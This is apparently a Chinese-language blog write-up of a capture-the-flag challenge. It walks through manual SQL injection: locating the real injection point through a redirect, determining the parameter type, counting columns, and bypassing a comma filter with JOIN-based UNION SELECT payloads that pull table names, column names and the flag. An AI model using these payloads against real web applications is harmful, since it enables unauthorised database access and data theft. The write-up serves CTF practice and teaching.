题目源: i春秋CTF大本营
小工具: Burp Suite(抓包神器)
思路点用黄色加粗标记,操作点用绿色加粗标记
解题的流程:
1.点进去一片空白习惯性,看源码。<!-- login.php?id=1 -->,看来要改改url。将原来的"/XXXXXX.php"换成“/login.php?id=1”。访问之后思维变成了直接开注入?但是没什么用。。。如果这时用sqlmap测试会发现这是个假的注入点。真的在哪里?只能猜猜,访问index.php。在控制台中发现了重定向302的相应headers,找到了真实的注入点:"/l0gin.php?id=1",将原来的"/XXXXXX.php"换成“/l0gin.php?id=1”
2.开始测试注入点:测注入点类型——>测id关键字的数据类型(!!!这个很重要,wp都不怎么讲这个)。依次测试[1‘,1‘‘,‘ ‘1]这是字符型的测试序列,测试[9-8,66-ascii(‘A‘),50-ascii(1)]这是数字型的测试序列(参考《黑客攻防技术宝典Web实战》)。判断这是个字符型的注入点。然后输入“1 and”判断id的数据类型是int。其中的门道见:
3.查询字段数,使用order by,"?id=1‘ order by 3 -- ‘"确定是两个字段,可以对照by 1,by 2,发现判断的依据。
4.查询当前的数据库名,使用database(),"?id=1‘ select 1,database(),3 -- ‘",看到返回结果,显然是逗号之后的东西被吃掉了。。。
这就要想办法绕过逗号的使用,百度或者谷歌,解决方案是join连接表:(参考一下:https://blog.csdn.net/qq_33020901/article/details/78906268)。样式总结就是
>>select * from ((select 1)a join (select 2)b);/*还可以连接单个字段的表*/
"?id=‘ union select * from ((select database())a join (select version())b) -- ‘"(记得把1去掉,因为题目只返回第一条查询记录,有了1,就看不见第二条了)
5.查询表名上面的payload已经造出来了,替换第一个select就可(其实可以跳过第四步,但是练手嘛,一步步来,思路清晰)
"?id=‘ union select * from ((select group_concat(table_name) from information_schema.tables where table_schema=database())a join (select version())b) -- ‘"
6.查询该表的字段名称
“?id=‘ union select * from ((select group_concat(column_name) from information_schema.columns where table_name=‘users‘)a join (select version())b) -- ‘”
7.查出flag呗
“?id=‘ union select * from ((select flag_9c861b688330 from users where id=1)a join (select version())b) -- ‘”
后记:
1.作者全部手敲的,难免有些小差错,欢迎留言指出
2.这个我也不是一次pass,借鉴了好几篇博文,比如那个逗号的绕过,个人重视的是那个注入点判断那里,注入起手式要理清。
原文地址:https://www.cnblogs.com/goodswarm/p/9735987.html